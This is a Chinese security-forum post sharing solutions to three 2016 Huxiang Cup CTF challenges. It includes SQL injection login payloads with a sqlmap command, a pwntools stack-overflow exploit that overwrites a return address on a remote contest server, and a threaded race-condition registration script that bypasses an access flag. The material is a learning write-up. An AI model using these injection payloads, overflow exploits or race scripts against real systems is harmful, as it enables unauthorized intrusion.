看雪论坛
发新帖
10

湖湘杯2016 几个题目的解题思路分享

netwind 2017-2-19 01:32 727

祝贺新论坛投入使用,体验一下新论坛发帖功能


以下解题过程是团队共同努力的结果:


1、  题目名MyBlog

解题思路、相关代码和Flag截图:

解题思路

用户登录处存在注入,测试语句

    admin' and exists(select * from flag) and '1'='1

    admin

    此方法验证数据库中存在flag表,程序会把该内容在cookies赋值

 

 

 

相关代码和Flag截图:

sqlmap可获得表及其他内容(保存post数据为hxbweb1.txt)

sqlmap -r "hxbweb1.txt" --technique=u --tables

在登录处提交注入语句可获得flag

username=aasd'+union+select+'1',flag,'3'+from+flag+--&password=admin&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2


可获得flag

2、  题目名  Pwnme

解题思路、相关代码和Flag截图:

直接将文件拖进IDA

代码量不大,到处翻翻看看,看到有处输入水果名的代码:


仔细一看是栈溢出漏洞

我们看到v1  分配的空间大小是0xa4 也就是164字节

 

然后对输入的水果名称没有任何限制 直接放到了V1指向的空间

 

这就是一个非常基本的教科书式溢出漏洞

我们构造 168字节数据刚好覆盖EBP  后面的内容就会覆盖返回地址

 

翻了翻代码 发现IDA 有个函数:

看代码的功能 只要执行了这个函数  就会输出flag

看了下函数地址是0x8048677

在代码段 地址都是一样的 所以服务端也可以用这个地址

然后我们就用该地址 覆盖溢出时候的返回地址 就可以执行getflag这个函数得到答案了

构造payload= passexp='A'*168+p(0x8048677)+'B'*208

完整的利用代码:

#!python

#!/usr/bin/python

from pwn import *

import time

context.log_level = 'DEBUG'

r = remote('114.215.43.119', '10001')

r.recvuntil('Please input your choice:')

r.sendline('5')

r.recvuntil('Please input the name of fruit:')

passexp='A'*168+p(0x8048677)+'B'*208

r.sendline(passexp)

r.interactive()

 

 

flag截图:

3、  题目名  ASCII字符图库

解题思路、相关代码和Flag截图:

网页有个login.php register.php 后面加.bak访问发现可以直接下载代码:

我们看login.php 有代码如下:

可以看到 当用户名密码正确登录的时候 如果参数isRestricted 0 就会打开叫flag的文件,猜测可以显示flag

下面就要想办法 注册一个用户 而且让isRestricted 0

接着我们看看注册文件的代码:

注册时候首先插入了 用户名 和密码 接着 查询用户名ID 插入isRestricted参数 1

 

我们得想办法让这句insert执行失败 这样 我们注册的用户  isRestricted 就更新失败就变为0了。

这时想到的办法就是多线程并发注册同一个用户名,这样 在执行insert isRestricted的时候,这个用户名已经有很多个ID了,执行select users.id 这句时候返回多个结果,导致整条语句执行失败,这样就到达了目的。

漏洞利用代码:

import requests

import threading

 

 

def register(username, password):

    url = 'http://106.14.79.226/register.php'

    data = {'username':username, 'password':password}

    try:

        req = requests.post(url, data=data, timeout=3)

    except:

        pass

       

       

       

if __name__=="__main__":

    pool = []

    for i in xrange(2):

        pool.append(threading.Thread(target=register, args=('hopex','000000')))

       

    for t in pool:

        t.start()

 

    for t in pool:

        t.join()

 

这样注册了一个hopex的用户 ,登录后就显示了flag

flag截图




最新回复 (3)
10
netwind 2017-2-19 01:35
2
体验完毕,每次截图后粘贴,一个图片会被连续贴两次,还要删除一个,希望改进一下
10
netwind 2017-2-19 01:39
3
另外希望也能直接从doc里复制粘贴图片,或者从文件里复制粘贴图片
luckxiao 2017-3-2 17:15
4
其他几道题目的解题思路,一起发出来吧
返回



©2000-2017 看雪学院 | Based on Xiuno BBS | 知道创宇带宽支持 | 微信公众号:ikanxue
Time: 0.011, SQL: 7 / 京ICP备10040895号-17